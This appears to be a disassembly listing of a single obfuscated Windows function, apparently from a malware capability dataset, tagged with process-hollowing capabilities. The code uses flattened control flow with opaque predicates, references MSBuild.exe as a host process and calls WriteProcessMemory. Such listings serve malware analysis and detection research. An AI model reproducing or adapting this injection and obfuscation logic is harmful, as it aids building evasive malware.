Function at 0x10006420
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x1006d600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x11c], 0xb2b492a0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
sub eax, 0x802462cf
je 0x1000a280
jmp 0x1000645c
mov eax, dword [ebp - 0x120]
sub eax, 0x80419161
je 0x1000a4da
jmp 0x10006472
mov eax, dword [ebp - 0x120]
sub eax, 0x804c8822
je 0x10009e63
jmp 0x10006488
mov eax, dword [ebp - 0x120]
sub eax, 0x81251bca
je 0x1000d3ae
jmp 0x1000649e
mov eax, dword [ebp - 0x120]
sub eax, 0x8206f590
je 0x1000c524
jmp 0x100064b4
mov eax, dword [ebp - 0x120]
sub eax, 0x8316d7bd
je 0x1000dc41
jmp 0x100064ca
mov eax, dword [ebp - 0x120]
sub eax, 0x8495a84a
je 0x1000a45a
jmp 0x100064e0
mov eax, dword [ebp - 0x120]
sub eax, 0x85aeea96
je 0x1000a7db
jmp 0x100064f6
mov eax, dword [ebp - 0x120]
sub eax, 0x8615b58b
je 0x1000be60
jmp 0x1000650c
mov eax, dword [ebp - 0x120]
sub eax, 0x867883cc
je 0x1000e705
jmp 0x10006522
mov eax, dword [ebp - 0x120]
sub eax, 0x86fe9b6e
je 0x100095bb
jmp 0x10006538
mov eax, dword [ebp - 0x120]
sub eax, 0x8788df32
je 0x10008fc0
jmp 0x1000654e
mov eax, dword [ebp - 0x120]
sub eax, 0x87cd40d8
je 0x1000b00c
jmp 0x10006564
mov eax, dword [ebp - 0x120]
sub eax, 0x887ee1b0
je 0x10009d28
jmp 0x1000657a
mov eax, dword [ebp - 0x120]
sub eax, 0x88a89af7
je 0x1000b327
jmp 0x10006590
mov eax, dword [ebp - 0x120]
sub eax, 0x8a7ba94f
je 0x1000e435
jmp 0x100065a6
mov eax, dword [ebp - 0x120]
sub eax, 0x8a8afd11
je 0x10009f41
jmp 0x100065bc
mov eax, dword [ebp - 0x120]
sub eax, 0x8b23d84c
je 0x1000e285
jmp 0x100065d2
mov eax, dword [ebp - 0x120]
sub eax, 0x8b708b9d
je 0x1000b3de
jmp 0x100065e8
mov eax, dword [ebp - 0x120]
sub eax, 0x8bc52a8f
je 0x1000e600
jmp 0x100065fe
mov eax, dword [ebp - 0x120]
sub eax, 0x8bedb3de
je 0x1000d160
jmp 0x10006614
mov eax, dword [ebp - 0x120]
sub eax, 0x8cf6f520
je 0x1000c10a
jmp 0x1000662a
mov eax, dword [ebp - 0x120]
sub eax, 0x8deb0ac9
je 0x1000e7cb
jmp 0x10006640
mov eax, dword [ebp - 0x120]
sub eax, 0x8dee23a6
je 0x1000ad57
jmp 0x10006656
mov eax, dword [ebp - 0x120]
sub eax, 0x8e880e80
je 0x1000df93
jmp 0x1000666c
mov eax, dword [ebp - 0x120]
sub eax, 0x8ecfa2d3
je 0x1000a9ad
jmp 0x10006682
mov eax, dword [ebp - 0x120]
sub eax, 0x8f27cdde
je 0x1000939b
jmp 0x10006698
mov eax, dword [ebp - 0x120]
sub eax, 0x8f3f022e
je 0x1000c919
jmp 0x100066ae
mov eax, dword [ebp - 0x120]
sub eax, 0x9090bfd4
je 0x1000a0d3
jmp 0x100066c4
mov eax, dword [ebp - 0x120]
sub eax, 0x90a45d18
je 0x1000c0cc
jmp 0x100066da
mov eax, dword [ebp - 0x120]
sub eax, 0x91a7cc4b
je 0x1000c491
jmp 0x100066f0
mov eax, dword [ebp - 0x120]
sub eax, 0x91b53d27
je 0x1000b6c3
jmp 0x10006706
mov eax, dword [ebp - 0x120]
sub eax, 0x92998144
je 0x1000a63a
jmp 0x1000671c
mov eax, dword [ebp - 0x120]
sub eax, 0x92c0ad8b
je 0x1000ae6e
jmp 0x10006732
mov eax, dword [ebp - 0x120]
sub eax, 0x938eea10
je 0x1000e53d
jmp 0x10006748
mov eax, dword [ebp - 0x120]
sub eax, 0x9523a37b
je 0x1000e39b
jmp 0x1000675e
mov eax, dword [ebp - 0x120]
sub eax, 0x96078091
je 0x1000e8a9
jmp 0x10006774
mov eax, dword [ebp - 0x120]
sub eax, 0x965a9564
je 0x1000e9a5
jmp 0x1000678a
mov eax, dword [ebp - 0x120]
sub eax, 0x96e6b8e0
je 0x1000d687
jmp 0x100067a0
mov eax, dword [ebp - 0x120]
sub eax, 0x97a85ca7
je 0x1000e735
jmp 0x100067b6
mov eax, dword [ebp - 0x120]
sub eax, 0x97abb488
je 0x1000ba7a
jmp 0x100067cc
mov eax, dword [ebp - 0x120]
sub eax, 0x97fa25e9
je 0x1000a30d
jmp 0x100067e2
mov eax, dword [ebp - 0x120]
sub eax, 0x985f25f3
je 0x1000dce6
jmp 0x100067f8
mov eax, dword [ebp - 0x120]
sub eax, 0x991d00c7
je 0x1000d559
jmp 0x1000680e
mov eax, dword [ebp - 0x120]
sub eax, 0x992e73d4
je 0x1000e996
jmp 0x10006824
mov eax, dword [ebp - 0x120]
sub eax, 0x99ab1f4a
je 0x1000dd28
jmp 0x1000683a
mov eax, dword [ebp - 0x120]
sub eax, 0x9a44a6eb
je 0x1000a5c4
jmp 0x10006850
mov eax, dword [ebp - 0x120]
sub eax, 0x9a700e5a
je 0x1000e18c
jmp 0x10006866
mov eax, dword [ebp - 0x120]
sub eax, 0x9a815fab
je 0x1000b411
jmp 0x1000687c
mov eax, dword [ebp - 0x120]
sub eax, 0x9b6e2cef
je 0x1000c308
jmp 0x10006892
mov eax, dword [ebp - 0x120]
sub eax, 0x9b804b6d
je 0x1000b681
jmp 0x100068a8
mov eax, dword [ebp - 0x120]
sub eax, 0x9be71709
je 0x1000e3f7
jmp 0x100068be
mov eax, dword [ebp - 0x120]
sub eax, 0x9c104f07
je 0x1000b571
jmp 0x100068d4
mov eax, dword [ebp - 0x120]
sub eax, 0x9c216a44
je 0x1000d632
jmp 0x100068ea
mov eax, dword [ebp - 0x120]
sub eax, 0x9ca13203
je 0x1000dc32
jmp 0x10006900
mov eax, dword [ebp - 0x120]
sub eax, 0x9db0d5b6
je 0x1000cb3f
jmp 0x10006916
mov eax, dword [ebp - 0x120]
sub eax, 0x9dd331ca
je 0x10009a32
jmp 0x1000692c
mov eax, dword [ebp - 0x120]
sub eax, 0x9e7198c4
je 0x1000da47
jmp 0x10006942
mov eax, dword [ebp - 0x120]
sub eax, 0x9eedae87
je 0x1000e37c
jmp 0x10006958
mov eax, dword [ebp - 0x120]
sub eax, 0x9f0edc4e
je 0x1000e07b
jmp 0x1000696e
mov eax, dword [ebp - 0x120]
sub eax, 0x9f84fe23
je 0x1000d8b1
jmp 0x10006984
mov eax, dword [ebp - 0x120]
sub eax, 0x9fba05a3
je 0x1000e08a
jmp 0x1000699a
mov eax, dword [ebp - 0x120]
sub eax, 0x9fcea22d
je 0x1000b7f3
jmp 0x100069b0
mov eax, dword [ebp - 0x120]
sub eax, 0xa06f7eb8
je 0x1000cdd8
jmp 0x100069c6
mov eax, dword [ebp - 0x120]
sub eax, 0xa07b7a05
je 0x1000db7a
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0xbbfb03bc
sub edx, 1
sub edx, 0xbbfb03bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x76cd59d4
mov ecx, 0xdaf4a668
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
movss xmm0, dword [0x1001c374]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x11c], 0x2ad1579c
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0x2a95a933
sub edx, 1
sub edx, 0x2a95a933
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb7b19599
mov ecx, 0x39825a4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x51f52b22
mov ecx, 0xa597b21f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
movss xmm0, dword [0x1001c348]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xba5734f8
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
add edx, 0xad91f50a
sub edx, 1
sub edx, 0xad91f50a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9523a37b
mov ecx, 0xf2ce768b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
movss xmm0, dword [0x1001c33c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xc9c55864
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdf973bc
mov ecx, 0xa6443c65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
movss xmm0, dword [0x1001c32c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xda0760dd
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9be71709
mov ecx, 0xa9bc4f91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0xb1ae2fa7
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a7ba94f
mov ecx, 0x2dbf8913
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0x84694513
sub edx, 1
add edx, 0x84694513
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaacfecb1
mov ecx, 0x92998144
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaacfecb1
mov ecx, 0x8156c93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c1e0]
movss dword [eax], xmm0
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
add edx, 0xfac2b999
sub edx, 1
sub edx, 0xfac2b999
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x64e77d0f
mov ecx, 0xf78bb18c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5d0c634
mov ecx, 0xf5bbe9c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c1cc]
movss dword [eax], xmm0
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0x6792148d
sub edx, 1
sub edx, 0x6792148d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x73615643
mov ecx, 0xf50af2f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c2d8]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xe90bbd77
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
add edx, 0xa5c2c8bf
sub edx, 1
sub edx, 0xa5c2c8bf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa7774ea
mov ecx, 0x75603d12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
sub edx, 0xc4bf85ab
sub edx, 1
add edx, 0xc4bf85ab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa631a82c
mov ecx, 0x3d00a680
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c2b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c2b4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x9a815fab
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x6f1e672f
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x58ec7836
jmp 0x1000ea65
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c2a4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xb4d8d3e4
jmp 0x1000ea65
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c29c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x4702bc84
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
sub edx, 0x6532aa6e
sub edx, 1
add edx, 0x6532aa6e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x499ddb2f
mov ecx, 0x6bbeab74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov dl, 1
mov eax, 0x4bcf352a
mov ecx, 0xad1c9bf7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xff37637a
mov ecx, 0xb45b5e84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov dl, 1
mov eax, 0x324da176
mov ecx, 0x6288640d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c24c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x324da176
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0xf050af33
jmp 0x1000ea65
mov dl, 1
mov eax, 0x1814d31c
mov ecx, 0xba066e54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c194]
movss dword [eax], xmm0
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0xe950e185
sub edx, 1
add edx, 0xe950e185
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x97a85ca7
mov ecx, 0xb12d3286
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0x94]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xe0]
mov byte [eax], cl
mov eax, dword [ebp - 0xdc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov dl, byte [eax]
mov eax, 0x27e4774e
mov ecx, 0xb7742d30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0x64ccac56
sub edx, 1
add edx, 0x64ccac56
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1b3c2caa
mov ecx, 0x1927ddac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
sub edx, 0x55f62e80
sub edx, 1
add edx, 0x55f62e80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72d83463
mov ecx, 0x40798932
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x11c], 0xf259160c
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0xff92544a
sub edx, 1
sub edx, 0xff92544a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x96078091
mov ecx, 0xb359725a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0xeca60875
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x4630a504
jmp 0x1000ea65
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x26847c92
sub ecx, 8
sub ecx, 0x26847c92
shr ecx, 1
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xefb59837
sub ecx, eax
add ecx, 0xefb59837
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov dword [eax], 0
mov dword [ebp - 0x11c], 0x2dac13a1
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc20f12cd
mov ecx, 0x4524a582
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x11c], 0x50d6fbbb
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x2dac13a1
jmp 0x1000ea65
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x965a9564
mov ecx, 0x68fda0ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x45561d9
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0x234c2716
sub edx, 1
add edx, 0x234c2716
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3238c047
mov ecx, 0x8b41137
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0x68c4721c
sub edx, 1
add edx, 0x68c4721c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2ae5a701
mov ecx, 0xe7521d1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x9fba05a3
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x563d7809
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0xce698d0a
jmp 0x1000ea65
movss xmm0, dword [0x1001c218]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x11c], 0x44bdeb3d
jmp 0x1000ea65
movss xmm0, dword [0x1001c1fc]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xb2a5b518
jmp 0x1000ea65
movss xmm0, dword [0x1001c1f8]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xf2ce768b
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x97fa25e9
jmp 0x1000ea65
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c1e8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c1e4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x2dbf8913
jmp 0x1000ea65
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c1c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c1c4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xd147d677
jmp 0x1000ea65
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c1b4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c1b0]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x753cd127
jmp 0x1000ea65
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c198]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xb0295494
jmp 0x1000ea65
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001c194]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x8206f590
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x7c36a4be
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x81251bca
jmp 0x1000ea65
mov dword [ebp - 0x11c], 0x1b596d25
jmp 0x1000ea65
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x11c], 0x68fda0ac
jmp 0x1000ea65
jmp 0x10006440